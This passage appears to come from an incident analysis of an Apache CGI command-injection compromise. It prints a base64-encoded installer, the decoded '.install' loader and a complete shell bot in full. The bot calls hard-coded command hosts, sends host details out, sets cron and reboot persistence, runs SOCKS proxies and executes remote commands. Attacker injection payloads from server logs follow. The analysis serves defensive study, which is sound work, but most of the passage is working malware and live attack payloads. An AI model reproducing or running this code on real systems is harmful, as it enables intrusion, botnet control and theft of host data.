$CURL -s http://$DOM/1010/b64.php -u client:%@123-456@% --data-urlencode 's=UEFUSD0vc2JpbjovYmluOi91c3Ivc2JpbjovdXNyL2JpbjovdXNyL2xvY2FsL2JpbgpDVVJMPSJjdXJsIgpET009InJyLmJsdWVoZWF2ZW4ubGl2ZSIKCnBraWxsIC05IC1mICIuc3JjLnNoIgpwa2lsbCAtOSAtZiAicHByb3h5IgpvdXQ9JChjdXJsIC1zIC0tY29ubmVjdC10aW1lb3V0IDUgaHR0cDovL3JyLmJsdWVoZWF2ZW4ubGl2ZS8xMDEwL29ubGluZS5waHAgLXUgY2xpZW50OiVAMTIzLTQ1NkAlIDI+IC9kZXYvbnVsbCkKZW5hYmxlPSQoZWNobyAkb3V0IHwgYXdrICd7c3BsaXQoJDAsYSwiLCIpOyBwcmludCBhWzFdfScpCm9ubGluZT0kKGVjaG8gJG91dCB8IGF3ayAne3NwbGl0KCQwLGEsIiwiKTsgcHJpbnQgYVsyXX0nKQppZiBbICEgIiRlbmFibGUiIC1lcSAiMSIgLWEgISAiJG9ubGluZSIgLWVxICIxIiBdOyB0aGVuCglpZmFjZXM9IiIKCWlmIFsgIiQoY29tbWFuZCAtdiBpcCAyPiAvZGV2L251bGwpIiBdOyB0aGVuCgkJaWZhY2VzPSQoaXAgLTQgLW8gYSB8IGN1dCAtZCAnICcgLWYgMiw3IHwgY3V0IC1kICcvJyAtZiAxIHwgYXdrIC1GJyAnICd7cHJpbnQgJDF9JyB8IHRyICdcbicgJyAnKQoJZWxzZQoJCWlmIFsgIiQoY29tbWFuZCAtdiBpZmNvbmZpZyAyPiAvZGV2L251bGwpIiBdOyB0aGVuCgkJCWlmYWNlcz0kKGlmY29uZmlnIC1hIHwgZ3JlcCBmbGFncyB8IGF3ayAne3NwbGl0KCQwLGEsIjoiKTsgcHJpbnQgYVsxXX0nIHwgdHIgJ1xuJyAnICcpCgkJZmkKCWZpCglmb3IgZXRoIGluICRpZmFjZXM7IGRvCgkJb3V0PSQoY3VybCAtcyAtLWludGVyZmFjZSAkZXRoIC0tY29ubmVjdC10aW1lb3V0IDUgaHR0cDovLzExNi4yMDMuMjEyLjE4NC8xMDEwL29ubGluZS5waHAgLXUgY2xpZW50OiVAMTIzLTQ1NkAlIDI+IC9kZXYvbnVsbCkKCQllbmFibGU9JChlY2hvICRvdXQgfCBhd2sgJ3tzcGxpdCgkMCxhLCIsIik7IHByaW50IGFbMV19JykKCQlvbmxpbmU9JChlY2hvICRvdXQgfCBhd2sgJ3tzcGxpdCgkMCxhLCIsIik7IHByaW50IGFbMl19JykKCQlpZiBbICIkZW5hYmxlIiA9PSAiMSIgLWEgIiRvbmxpbmUiID09ICIxIiBdOyB0aGVuCgkJCWVjaG8gIiRldGgiID4gLmludGVyZmFjZQoJCQlicmVhawoJCWZpCglkb25lCmZpCgppZiBbIC1mICIuaW50ZXJmYWNlIiBdOyB0aGVuCglDVVJMPSJjdXJsIC0taW50ZXJmYWNlICIkKGNhdCAuaW50ZXJmYWNlIDI+IC9kZXYvbnVsbCkKCURPTT0iMTE2LjIwMy4yMTIuMTg0IgpmaQoKb3V0PSQoJENVUkwgLXMgaHR0cDovLyRET00vMTAxMC9zcmMucGhwIC11IGNsaWVudDolQDEyMy00NTZAJSAyPiAvZGV2L251bGwpCmVuYWJsZT0kKGVjaG8gJG91dCB8IGF3ayAne3NwbGl0KCQwLGEsIiwiKTsgcHJpbnQgYVsxXX0nKQpiYXNlPSQoZWNobyAkb3V0IHwgYXdrICd7c3BsaXQoJDAsYSwiLCIpOyBwcmludCBhWzJdfScpCmlmIFsgIiRlbmFibGUiIC1lcSAiMSIgXTsgdGhlbgoJcm0gLXJmIC5taW5pY29uZGEuc2ggLmFwaSAuaXBpZCAuc3BpZCAuY3Jvbi5zaCAuc3JjLnNoOyAkQ1VSTCAtcyBodHRwOi8vJERPTS8xMDEwL2I2NC5waHAgLXUgY2xpZW50OiVAMTIzLTQ1NkAlIC0tZGF0YS11cmxlbmNvZGUgInM9JGJhc2UiIC1vIC5zcmMuc2ggMj4gL2Rldi9udWxsICYmIGNobW9kICt4IC5zcmMuc2ggPiAvZGV2L251bGwgMj4mMQoJc2ggLnNyYy5zaCA+IC9kZXYvbnVsbCAyPiYxICYKZmkKcm0gLXJmIC5pbnN0YWxsCg==' -o .install;
chmod +x .install;
sh .install > /dev/null 2>&1 & echo 'Done';
else
echo 'Already install. Started';
cd .log/101068/.spoollog && sh .cron.sh > /dev/null 2>&1 &
fi;
else
echo 'Already install Running';
fi
I’m not going to go through this script in detail, nor critique the shell programming. The first part of the script goes about setting up an installation directory for the exploit, and you can see references to the “.log/101068/.spoollog” directory we found the exploit running from. The script attempts to check internet access via the URLs hxxp://rr.blueheaven.live/1010/online.php and hxxp://116.203.212.184/1010/online.php. At the time of this writing rr.blueheaven.live resolves to the hard-coded IP 116.203.212.184 in the second URL. The script then users hxxp://116.203.212.184/1010/b64.php to decode another script and write it to disk in the exploit installation directory as “.install” and then runs the script.
Here is the decoded, reformatted script that gets written to “.install”:
PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin
CURL="curl"
DOM="rr.blueheaven.live"
pkill -9 -f ".src.sh"
pkill -9 -f "pproxy"
out=$(curl -s --connect-timeout 5 http://rr.blueheaven.live/1010/online.php -u client:%@123-456@% 2> /dev/null)
enable=$(echo $out | awk '{split($0,a,","); print a[1]}')
online=$(echo $out | awk '{split($0,a,","); print a[2]}')
if [ ! "$enable" -eq "1" -a ! "$online" -eq "1" ]; then
ifaces=""
if [ "$(command -v ip 2> /dev/null)" ]; then
ifaces=$(ip -4 -o a | cut -d ' ' -f 2,7 | cut -d '/' -f 1 | awk -F' ' '{print $1}' | tr '\n' ' ')
else
if [ "$(command -v ifconfig 2> /dev/null)" ]; then
ifaces=$(ifconfig -a | grep flags | awk '{split($0,a,":"); print a[1]}' | tr '\n' ' ')
fi
fi
for eth in $ifaces; do
out=$(curl -s --interface $eth --connect-timeout 5 http://116.203.212.184/1010/online.php -u client:%@123-456@% 2> /dev/null)
enable=$(echo $out | awk '{split($0,a,","); print a[1]}')
online=$(echo $out | awk '{split($0,a,","); print a[2]}')
if [ "$enable" == "1" -a "$online" == "1" ]; then
echo "$eth" > .interface
break
fi
done
fi
if [ -f ".interface" ]; then
CURL="curl --interface "$(cat .interface 2> /dev/null)
DOM="116.203.212.184"
fi
out=$($CURL -s http://$DOM/1010/src.php -u client:%@123-456@% 2> /dev/null)
enable=$(echo $out | awk '{split($0,a,","); print a[1]}')
base=$(echo $out | awk '{split($0,a,","); print a[2]}')
if [ "$enable" -eq "1" ]; then
rm -rf .miniconda.sh .api .ipid .spid .cron.sh .src.sh; $CURL -s http://$DOM/1010/b64.php -u client:%@123-456@% --data-urlencode "s=$base" -o .src.sh 2> /dev/null && chmod +x .src.sh > /dev/null 2>&1
sh .src.sh > /dev/null 2>&1 &
fi
rm -rf .install
There’s a lot of repetitious code here, but the upshot is that this “.install” script downloads an encoded script from http://116.203.212.184/1010/src.php and this becomes “.src.sh”. The “.install” script removes itself when done.
“.src.sh” is a simple bot written in shell, reproduced below. The first part of the script tries to install a “.cron.sh” script from hxxp://116.203.212.184/1010/cron.php for persistence. The main loop sleeps for 300 second intervals and then queries hxxp://116.203.212.184/1010/cmd.php for instructions.
PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin:$(pwd)/.api/.mnc/bin
kpid=$(tail -n 1 .spid 2> /dev/null)
printf %b "$(id -u)\\n$$" > .spid
kill -kill $kpid > /dev/null 2>&1
#echo $(ps -o ppid= $$) | xargs kill -9 > /dev/null 2>&1
ICURL="curl"
if [ ! "$(command -v curl 2> /dev/null)" ]; then
ICURL="./.curl"
fi
CURL=$ICURL
DOM="rr.blueheaven.live"
if [ -f ".interface" ]; then
CURL="$ICURL --interface "$(cat .interface 2> /dev/null)
DOM="116.203.212.184"
fi
if [ ! -f ".cron.sh" ]; then
out=$($CURL -s http://$DOM/1010/cron.php -u client:%@123-456@% 2> /dev/null)
enable=$(echo $out | awk '{split($0,a,","); print a[1]}')
base=$(echo $out | awk '{split($0,a,","); print a[2]}')
if [ "$enable" -eq "1" ]; then
printf %b "$($CURL -s http://$DOM/1010/b64.php -u client:%@123-456@% --data-urlencode "s=$base" 2> /dev/null)" > .cron.sh 2> /dev/null && chmod +x .cron.sh > /dev/null 2>&1
fi
fi
string="$(crontab -l 2> /dev/null)"
word="0 */12 * * * cd $(pwd) && sh .cron.sh > /dev/null 2>&1 &"
if [ ! "${string#*$word}" != "$string" ]; then
crcount=$(printf %s $(crontab -l 2> /dev/null) | wc -m)
if [ "$crcount" -gt "0" ]; then
printf %b "$(crontab -l 2> /dev/null)\\n0 */12 * * * cd $(pwd) && sh .cron.sh > /dev/null 2>&1 &\\n@reboot cd $(pwd) && sh .cron.sh > /dev/null 2>&1 &\\n" > .cron
cat .cron | crontab || crontab .cron
else
if [ "$(id -u)" -eq "0" ]; then
printf %b "0 */12 * * * cd $(pwd) && sh .cron.sh > /dev/null 2>&1 &\\n@reboot cd $(pwd) && sh .cron.sh > /dev/null 2>&1 &\\n" > .cron
cat .cron | crontab || crontab .cron
else
printf %b "PATH=/sbin:/bin:/usr/sbin:/usr/bin\\nHOME=$(pwd)\\nMAILTO=\"\"\\n0 */12 * * * cd $(pwd) && sh .cron.sh > /dev/null 2>&1 &\\n@reboot cd $(pwd) && sh .cron.sh > /dev/null 2>&1 &\\n" > .cron
cat .cron | crontab || crontab .cron
fi
fi
fi
psfunc()
{
if [ "$(command -v ps 2> /dev/null)" ]; then
ps x -o command -w 2> /dev/null | grep -v -a grep | grep -a "$1" 2> /dev/null
else
if [ "$(command -v pgrep 2> /dev/null)" ]; then
pgrep -f -a -l "$1" 2> /dev/null | grep -v -a grep 2> /dev/null
else
if [ "$(cd /proc 2> /dev/null && ls | wc -l)" -gt "0" 2> /dev/null ]; then
pids=$(cd /proc && ls | grep '[0-9]'); for pid in $pids; do printf %b $(cat /proc/$pid/cmdline 2> /dev/null | tr '\000' ' ' | grep -v -a grep | grep -a "$1" 2> /dev/null); done
else
printf %b "0\n"
fi
fi
fi
}
timeout=""
if [ "$(command -v timeout 2> /dev/null)" ]; then
timeout="timeout 15"
fi
if [ -f ".python" ]; then
export PYTHONUSERBASE=$(cat .python 2> /dev/null)
fi
first=0
tstmp=0
while true
do
slp=300
out=$($timeout $CURL -s --data-urlencode "icid=$(cat .cid 2> /dev/null)" --data-urlencode "vuln=$(cat .pinfo 2> /dev/null)" --data-urlencode "ips=$(cat .api/ips.txt 2> /dev/null | wc -l 2> /dev/null)" --data-urlencode "prx=$(psfunc 'python -m pproxy')" --data-urlencode "mnc=$(export HOME=$(pwd)/.api;$HOME/.mnc/bin/python -c 'print(1)' 2> /dev/null)" --data-urlencode "rm=$(($(a=$(echo $(cat /proc/meminfo 2> /dev/null) | grep MemTotal | cut -d' ' -f2); if [ "$a" -gt "0" 2> /dev/null ]; then echo $a;else echo 0;fi)/1024))" --data-urlencode "cr=$(nproc 2> /dev/null)" --data-urlencode "a=$(whoami 2> /dev/null)" --data-urlencode "o=$(cat /etc/*-release 2> /dev/null || uname -a)" -X POST http://$DOM/1010/cmd.php -u client:%@123-456@% 2> /dev/null || echo "0,0,0,0,0,0,0")
enable=$(echo $out | awk '{split($0,a,","); print a[1]}')
cmd=$(echo $out | awk '{split($0,a,","); print a[2]}')
tm=$(echo $out | awk '{split($0,a,","); print a[3]}')
pv=$(echo $out | awk '{split($0,a,","); print a[4]}')
prx=$(echo $out | awk '{split($0,a,","); print a[5]}')
port=$(echo $out | awk '{split($0,a,","); print a[6]}')
pass=$(echo $out | awk '{split($0,a,","); print a[7]}')
if [ "$pv" -gt "0" ]; then
printf %b "$pv\\n" > .cid
fi
if [ "$pv" -gt "0" -a "$first" -gt "0" ]; then
if [ ! -f ".api/ips.txt" -a ! -f ".exec" ]; then
mkdir -p .api
ipsr=""
if [ "$(export HOME=$(pwd)/.api;$HOME/.mnc/bin/python -c 'import netifaces;print(1)' 2> /dev/null)" -eq "1" ]; then
ipsr=$(export HOME=$(pwd)/.api; printf %b "import netifaces\\nfor iface in netifaces.interfaces():\\n\\tiface_details = netifaces.ifaddresses(iface)\\n\\tif netifaces.AF_INET in iface_details:\\n\\t\\tfor ip in iface_details[netifaces.AF_INET]:\\n\\t\\t\\tprint(ip['addr']+'/'+ip['netmask'])" | $HOME/.mnc/bin/python | grep -v 127.0.0.1 | tr '\\n' ' ')
else
if [ "$(command -v ip 2> /dev/null)" ]; then
ipsr=$(ip addr | grep 'inet ' | awk -F' ' '{print $2}' | grep -v '127.0.0.1' | tr '\\n' ' ')
else
if [ "$(command -v ifconfig 2> /dev/null)" ]; then
ipsr=$( ifconfig | grep 'inet ' | awk '{split($0,a,"inet "); print a[2]}' | awk '{split($0,a," netmask"); print a[1]"/32"}' | grep -v '127.0.0.1' | tr '\\n' ' ')
fi
fi
fi
if [ "$ipsr" != "" ]; then
for range in $ipsr; do
ips=$($CURL -s http://$DOM/1010/ip.php -u client:%@123-456@% --data-urlencode "r=$range" 2> /dev/null)
for ip1 in $ips; do
out=$($ICURL -s --interface $ip1 --connect-timeout 2 --data-urlencode "cid=$pv" -X POST http://$DOM/1010/iprv.php -u client:%@123-456@% 2> /dev/null)
enproxy=$(echo $out | awk '{split($0,a,","); print a[1]}')
pip=$(echo $out | awk '{split($0,a,","); print a[2]}')
port=$(echo $out | awk '{split($0,a,","); print a[3]}')
enb=$(echo $out | awk '{split($0,a,","); print a[4]}')
wip=$(echo $out | awk '{split($0,a,","); print a[5]}')
if [ "$enproxy" -eq "1" -a ! "$(grep "$wip" ".api/ips.txt" 2> /dev/null)" ]; then
printf %b "$ip1,$wip\\n" >> .api/ips.txt
fi
done
done
else
if [ "$(export HOME=$(pwd)/.api;$HOME/.mnc/bin/python -c 'print(1)' 2> /dev/null)" -eq "1" ]; then
ip1=$(export HOME=$(pwd)/.api;$HOME/.mnc/bin/python -c "import socket;s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM);s.connect(('8.8.8.8', 80));print(s.getsockname()[0]);s.close()" 2> /dev/null)
out=$($ICURL -s --interface $ip1 --connect-timeout 2 --data-urlencode "cid=$pv" -X POST http://$DOM/1010/iprv.php -u client:%@123-456@% 2> /dev/null)
enproxy=$(echo $out | awk '{split($0,a,","); print a[1]}')
pip=$(echo $out | awk '{split($0,a,","); print a[2]}')
port=$(echo $out | awk '{split($0,a,","); print a[3]}')
enb=$(echo $out | awk '{split($0,a,","); print a[4]}')
wip=$(echo $out | awk '{split($0,a,","); print a[5]}')
if [ "$enproxy" -eq "1" -a ! "$(grep "$wip" ".api/ips.txt" 2> /dev/null)" ]; then
printf %b "$ip1,$wip\\n" >> .api/ips.txt
fi
fi
fi
else
if [ "$(($(date +%s)-$tstmp))" -ge "300" -a "$(export HOME=$(pwd)/.api;$HOME/.mnc/bin/python -c 'print(1)' 2> /dev/null)" -eq "1" ]; then
tstmp=$(date +%s)
case $prx in
"0")
pkill -9 -f "python -m pproxy" > /dev/null 2>&1
;;
"1")
pkill -9 -f "python -m pproxy -l socks5://" > /dev/null 2>&1
ips=$(cat .api/ips.txt | tr '\\n' ' ')
for ip in $ips; do
ip1=$(echo $ip | awk '{split($0,a,","); print a[1]}')
if [ ! "$(psfunc "$ip1" 2> /dev/null)" ]; then
out=$($ICURL -s --interface $ip1 --connect-timeout 2 --data-urlencode "cid=$pv" -X POST http://$DOM/1010/iprv.php -u client:%@123-456@% 2> /dev/null)
enproxy=$(echo $out | awk '{split($0,a,","); print a[1]}')
pip=$(echo $out | awk '{split($0,a,","); print a[2]}')
port=$(echo $out | awk '{split($0,a,","); print a[3]}')
enb=$(echo $out | awk '{split($0,a,","); print a[4]}')
wip=$(echo $out | awk '{split($0,a,","); print a[5]}')
if [ "$enproxy" -eq "1" ]; then
sh -c "cd .api/.mnc/bin && ./python -m pproxy -l socks5+in://$pip:$port/@$ip1,#pproxy:$pass > /dev/null 2>&1 &" > /dev/null 2>&1
fi
fi
done
;;
"2")
pkill -9 -f "python -m pproxy -l socks5\+in://" > /dev/null 2>&1
if [ ! "$(psfunc "python -m pproxy -l socks5://:$port" 2> /dev/null)" ]; then
pkill -9 -f "python -m pproxy -l socks5://" > /dev/null 2>&1
sh -c "cd .api/.mnc/bin && ./python -m pproxy -l socks5://:$port/@in,#pproxy:$pass > /dev/null 2>&1 &" > /dev/null 2>&1
fi
;;
"3")
pkill -9 -f "python -m pproxy -l socks5://" > /dev/null 2>&1
ips=$(cat .api/ips.txt | tr '\\n' ' ')
for ip in $ips; do
ip1=$(echo $ip | awk '{split($0,a,","); print a[1]}')
out=$($ICURL -s --interface $ip1 --connect-timeout 2 --data-urlencode "cid=$pv" -X POST http://$DOM/1010/iprv.php -u client:%@123-456@% 2> /dev/null)
enproxy=$(echo $out | awk '{split($0,a,","); print a[1]}')
pip=$(echo $out | awk '{split($0,a,","); print a[2]}')
port=$(echo $out | awk '{split($0,a,","); print a[3]}')
enb=$(echo $out | awk '{split($0,a,","); print a[4]}')
wip=$(echo $out | awk '{split($0,a,","); print a[5]}')
if [ "$enproxy" -eq "1" -a "$enb" -eq "1" -a ! "$(psfunc "$ip1" 2> /dev/null)" ]; then
sh -c "cd .api/.mnc/bin && ./python -m pproxy -l socks5+in://$pip:$port/@$ip1,#pproxy:$pass > /dev/null 2>&1 &" > /dev/null 2>&1
fi
if [ "$enproxy" -eq "1" -a "$enb" -eq "0" ]; then
pkill -9 -f "/@$ip1,#pproxy:" > /dev/null 2>&1
fi
done
;;
esac
fi
fi
fi
if [ "$tm" -eq "1" ]; then
slp=1
fi
if [ "$enable" -eq "1" ]; then
ex=$(sh -c "$cmd" 2>&1)
$CURL -s --data-urlencode "icid=$(cat .cid 2> /dev/null)" --data-urlencode "reponse=$ex" -X POST http://$DOM/1010/post.php -u client:%@123-456@% 2> /dev/null
fi
if [ "$first" -eq "0" ]; then
first=1
sleep 1
else
sleep $slp
fi
done
Nov 27 and beyond – more shell code, less base64
Looking at the mod_dumpio output from Nov 27 and beyond, the adversary abandons base64 encoding and just sends unobfuscated shell payloads.
[Sat Nov 27 17:02:58.280572 2021] A=|echo;printf vulnable
[Sun Nov 28 16:55:25.395499 2021] A=|echo;echo vulnable
[Sun Nov 28 16:57:23.515598 2021] A=|echo;a%3Dvulnable%3Becho%20%24a
[Sun Nov 28 16:57:23.786609 2021] [cgi:error] /bin/sh: 1: a%3Dvulnable%3Becho%20%24a: not found: /bin/sh
[Sun Nov 28 16:57:24.018519 2021] A=|echo;a%3Dvulnable%3Becho%20%24a
[Sun Nov 28 16:57:24.410051 2021] [cgi:error] /bin/bash: line 1: a%3Dvulnable%3Becho%20%24a: command not found: /bin/bash
[Sun Nov 28 16:58:21.167696 2021] A=%7Cecho%3Becho%20vulnable
[Sun Nov 28 16:58:21.208503 2021] [cgi:error] [pid 2632:tid 139978638071552] [client 116.202.187.77:34884] End of script output before headers: sh
[Sun Nov 28 16:58:21.467744 2021] A=%7Cecho%3Becho%20vulnable
[Sun Nov 28 16:58:21.578078 2021] [cgi:error] [pid 2632:tid 139978780681984] [client 116.202.187.77:34914] End of script output before headers: bash
[Sun Nov 28 16:59:14.868614 2021] A=%257Cecho%253Becho%2520vulnable
[Sun Nov 28 16:59:14.899091 2021] [cgi:error] [pid 2632:tid 139978646464256] [client 116.202.187.77:35060] End of script output before headers: sh
[Sun Nov 28 16:59:15.119808 2021] A=%257Cecho%253Becho%2520vulnable
[Sun Nov 28 16:59:15.180240 2021] [cgi:error] [pid 2539:tid 139978327705344] [client 116.202.187.77:35080] End of script output before headers: bash
[Sun Nov 28 17:00:50.203622 2021] A=|echo;echo vulnable
[Sun Nov 28 17:01:46.202310 2021] A=%7Cecho%3Becho+vulnable
[Sun Nov 28 17:01:46.243062 2021] [cgi:error] [pid 2632:tid 139978503853824] [client 116.202.187.77:35302] End of script output before headers: sh
[Sun Nov 28 17:01:46.514360 2021] A=%7Cecho%3Becho+vulnable
[Sun Nov 28 17:01:46.584288 2021] [cgi:error] [pid 2539:tid 139978461923072] [client 116.202.187.77:35330] End of script output before headers: bash
[Sun Nov 28 17:02:38.990088 2021] A=%7Cecho%253Becho%2520vulnable
[Sun Nov 28 17:02:39.030402 2021] [cgi:error] [pid 1693:tid 139978914899712] [client 116.202.187.77:35484] End of script output before headers: sh
[Sun Nov 28 17:02:39.281646 2021] A=%7Cecho%253Becho%2520vulnable
[Sun Nov 28 17:02:39.362302 2021] [cgi:error] [pid 2632:tid 139978545817344] [client 116.202.187.77:35502] End of script output before headers: bash
[Sun Nov 28 17:03:13.639471 2021] A%253D%257Cecho%253Becho%2520vulnable
[Sun Nov 28 17:03:13.699553 2021] [cgi:error] /bin/sh: 1: : /bin/sh
[Sun Nov 28 17:03:13.699763 2021] [cgi:error] A%253D%257Cecho%253Becho%2520vulnable: not found: /bin/sh
[Sun Nov 28 17:03:13.699802 2021] [cgi:error] : /bin/sh
[Sun Nov 28 17:03:13.700009 2021] [cgi:error] [pid 2539:tid 139978478708480] [client 116.202.187.77:35642] End of script output before headers: sh
[Sun Nov 28 17:03:13.946964 2021] A%253D%257Cecho%253Becho%2520vulnable
[Sun Nov 28 17:03:14.044809 2021] [cgi:error] /bin/bash: line 1: A%253D%257Cecho%253Becho%2520vulnable: command not found: /bin/bash
[Sun Nov 28 17:03:14.064043 2021] [cgi:error] [pid 2632:tid 139978688427776] [client 116.202.187.77:35664] End of script output before headers: bash
[Sun Nov 28 17:03:42.715779 2021] A=%257Cecho%253Becho%2520vulnable
[Sun Nov 28 17:03:42.715930 2021] [cgi:error] [pid 2539:tid 139978310919936] [client 116.202.187.77:35814] End of script output before headers: sh
[Sun Nov 28 17:03:42.967866 2021] A=%257Cecho%253Becho%2520vulnable
[Sun Nov 28 17:03:43.048351 2021] [cgi:error] [pid 2632:tid 139978512246528] [client 116.202.187.77:35832] End of script output before headers: bash
[Sun Nov 28 17:04:04.539353 2021] A=%7Cecho%3Becho%20vulnable
[Sun Nov 28 17:04:04.559961 2021] [cgi:error] [pid 2632:tid 139978537424640] [client 116.202.187.77:35978] End of script output before headers: sh
[Sun Nov 28 17:04:04.951514 2021] A=%7Cecho%3Becho%20vulnable
[Sun Nov 28 17:04:05.213226 2021] [cgi:error] [pid 2632:tid 139978680035072] [client 116.202.187.77:36004] End of script output before headers: bash
[Sun Nov 28 17:09:32.521939 2021] A=|echo;a=1;if [ "$(echo $a 2>&1)" -gt "0" ]; then echo vulnable; fi
[Sun Nov 28 17:32:12.024183 2021] A=|echo;echo done
[Sun Nov 28 17:32:12.307559 2021] A=|echo;echo done
[Sun Nov 28 17:32:48.782254 2021] A=|echo;echo vulnable
[Sun Nov 28 17:39:57.475699 2021] A=|echo;echo vulnable
[Sun Nov 28 17:40:38.123955 2021] A=|echo;echo done;echo vulnable
[Sun Nov 28 17:42:19.620086 2021] A=|echo;a=1;if [ "$(echo $a 2>&1)" -gt "0" ]; then echo done; fi;echo vulnable
[Sun Nov 28 17:44:07.177445 2021] A=|echo;psfunc() { a=1;if [ "$(echo $a 2>&1)" -gt "0" ]; then echo 'psfunc'; fi; }; psfunc ;echo vulnable
[Sun Nov 28 17:44:49.689632 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; psfunc() { a=1;if [ "$(echo $a 2>&1)" -gt "0" ]; then echo 'psfunc'; fi; }; psfunc;echo vulnable
[Sun Nov 28 17:46:15.189899 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; psfunc() { a=1;if [ "$(echo $a 2>&1)" -gt "0" ]; then echo "$1"; fi; }; psfunc ps;echo vulnable
[Sun Nov 28 17:46:41.752037 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; psfunc() { a=1;if [ "$(echo $a 2>&1)" -gt "0" ]; then echo "$1"; fi; }; psfunc 'ps';echo vulnable
[Sun Nov 28 17:48:14.564918 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; psfunc() { a=1;if [ "$(echo $a 2>&1)" -gt "0" && "1" -gt "0" ]; then echo "$1"; fi; }; psfunc 'ps';echo vulnable
[Sun Nov 28 17:48:14.625501 2021] [cgi:error] /bin/sh: 1: [: missing ]: /bin/sh
[Sun Nov 28 17:48:43.928639 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; psfunc() { a=1;if [ "$(echo $a 2>&1)" -gt "0" -a "1" -gt "0" ]; then echo "$1"; fi; }; psfunc 'ps';echo vulnable
[Sun Nov 28 18:47:07.257086 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; psfunc() { if [ "$(command -v ps 2> /dev/null)" ]; then ps x -o command -w 2> /dev/null | grep -v -a grep | grep -a "$1" 2> /dev/null; else if [ "$(command -v pgrep 2> /dev/null)" ]; then pgrep -f -a -l "$1" 2> /dev/null | grep -v -a grep 2> /dev/null; else if [ "$(cd /proc 2> /dev/null && ls | wc -l)" -gt "0" 2> /dev/null ]; then pids=$(cd /proc && ls | grep '[0-9]'); for pid in $pids; do printf %b $(cat /proc/$pid/cmdline 2> /dev/null | tr '\\000' ' ' | grep -v -a grep | grep -a "$1" 2> /dev/null); done; else printf %b "0\\n"; fi; fi; fi; }; if [ ! "$(psfunc '.src.sh' 2> /dev/null)" ]; then echo 12345; else echo 00000; fi;echo vulnable
[Sun Nov 28 18:51:57.797516 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v curl 2> /dev/null)" ]; then echo 'False'; else 'True'; fi;echo vulnable
[Sun Nov 28 18:51:57.908907 2021] [cgi:error] /bin/sh: 1: True: not found: /bin/sh
[Sun Nov 28 18:53:07.428691 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v curl 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Sun Nov 28 18:55:09.609280 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v ssh 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Sun Nov 28 18:57:57.577951 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v ssh 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Sun Nov 28 18:58:32.809620 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v scp 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Sun Nov 28 19:01:10.973735 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v curl 2> /dev/null)" -a ! "$(command -v wget 2> /dev/null)" -a ! "$(command -v scp 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Sun Nov 28 19:02:17.249849 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v curl 2> /dev/null)" -a ! "$(command -v wget 2> /dev/null)" -a ! "$(command -v python 2> /dev/null)" -a ! "$(command -v scp 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Sun Nov 28 19:03:53.430460 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v curl 2> /dev/null)" -a ! "$(command -v wget 2> /dev/null)" -a ! "$(command -v lwp-download 2> /dev/null)" -a ! "$(command -v scp 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Sun Nov 28 19:04:45.663570 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v curl 2> /dev/null)" -a ! "$(command -v wget 2> /dev/null)" -a ! "$(command -v cp 2> /dev/null)" -a ! "$(command -v scp 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Sun Nov 28 19:05:40.047965 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v curl 2> /dev/null)" -a ! "$(command -v wget 2> /dev/null)" -a ! "$(command -v php 2> /dev/null)" -a ! "$(command -v scp 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Sun Nov 28 19:06:13.974648 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v curl 2> /dev/null)" -a ! "$(command -v wget 2> /dev/null)" -a ! "$(command -v php 2> /dev/null)" -a ! "$(command -v php-cgi 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Sun Nov 28 19:11:51.013324 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v curl 2> /dev/null)" -a ! "$(command -v wget 2> /dev/null)" -a ! "$(command -v php 2> /dev/null)" -a ! "$(command -v bash 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
[Sun Nov 28 19:12:34.739533 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin; if [ ! "$(command -v bash 2> /dev/null)" ]; then echo 'False'; else echo 'True'; fi;echo vulnable
